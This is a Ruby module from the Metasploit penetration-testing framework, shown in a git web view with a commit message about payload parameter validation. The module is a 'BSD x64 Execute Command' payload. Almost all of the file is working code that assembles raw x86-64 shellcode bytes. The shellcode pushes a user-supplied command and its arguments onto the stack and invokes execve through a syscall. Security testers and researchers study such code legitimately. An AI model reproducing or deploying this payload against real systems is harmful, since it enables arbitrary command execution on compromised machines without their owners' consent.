Brent Cook
6b1e911041
Calling .new on payload modules does not perform parameter validation, leading to a number cached sizes based on invalid parameters. Most notably, normalization does not occur either, which makes all OptBool params default to true.
76 lines
2.4 KiB
Ruby
76 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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###
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#
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# Exec
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# ----
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#
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# Executes an arbitrary command.
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#
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###
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module Metasploit3
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CachedSize = 31
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include Msf::Payload::Single
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include Msf::Payload::Bsd
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'BSD x64 Execute Command',
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'Description' => 'Execute an arbitrary command',
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'Author' => 'joev',
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'License' => MSF_LICENSE,
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'Platform' => 'bsd',
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'Arch' => ARCH_X86_64))
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# Register exec options
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register_options(
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[
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OptString.new('CMD', [ true, "The command string to execute" ]),
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], self.class)
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end
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#
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# Dynamically builds the exec payload based on the user's options.
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#
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def generate_stage(opts={})
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cmd_str = datastore['CMD'] || ''
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# Split the cmd string into arg chunks
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cmd_parts = Shellwords.shellsplit(cmd_str)
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cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
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arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
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call = "\xe8" + [arg_str.length].pack('V')
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payload =
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"\x48\x31\xd2"+ # xor rdx, rdx
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call + # call CMD.len
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arg_str + # CMD
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"\x5f" + # pop rdi
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if cmd_parts.length > 1
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"\x48\x89\xf9" + # mov rcx, rdi
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"\x52" + # push rdx (null)
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# for each arg, push its current memory location on to the stack
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cmd_parts[1..-1].each_with_index.map do |arg, idx|
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"\x48\x81\xc1" + # add rcx + ...
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[cmd_parts[idx].length+1].pack('V') + #
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"\x51" # push rcx (build str array)
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end.join
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else
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"\x52" # push rdx (null)
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end +
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"\x57"+ # push rdi
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"\x48\x89\xe6"+ # mov rsi, rsp
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"\x48\x31\xc0"+ # xor rax, rax
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"\x48\x83\xc8\x3b" + # or rax, 0x3b (execve)
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"\x0f\x05" # syscall
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end
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end
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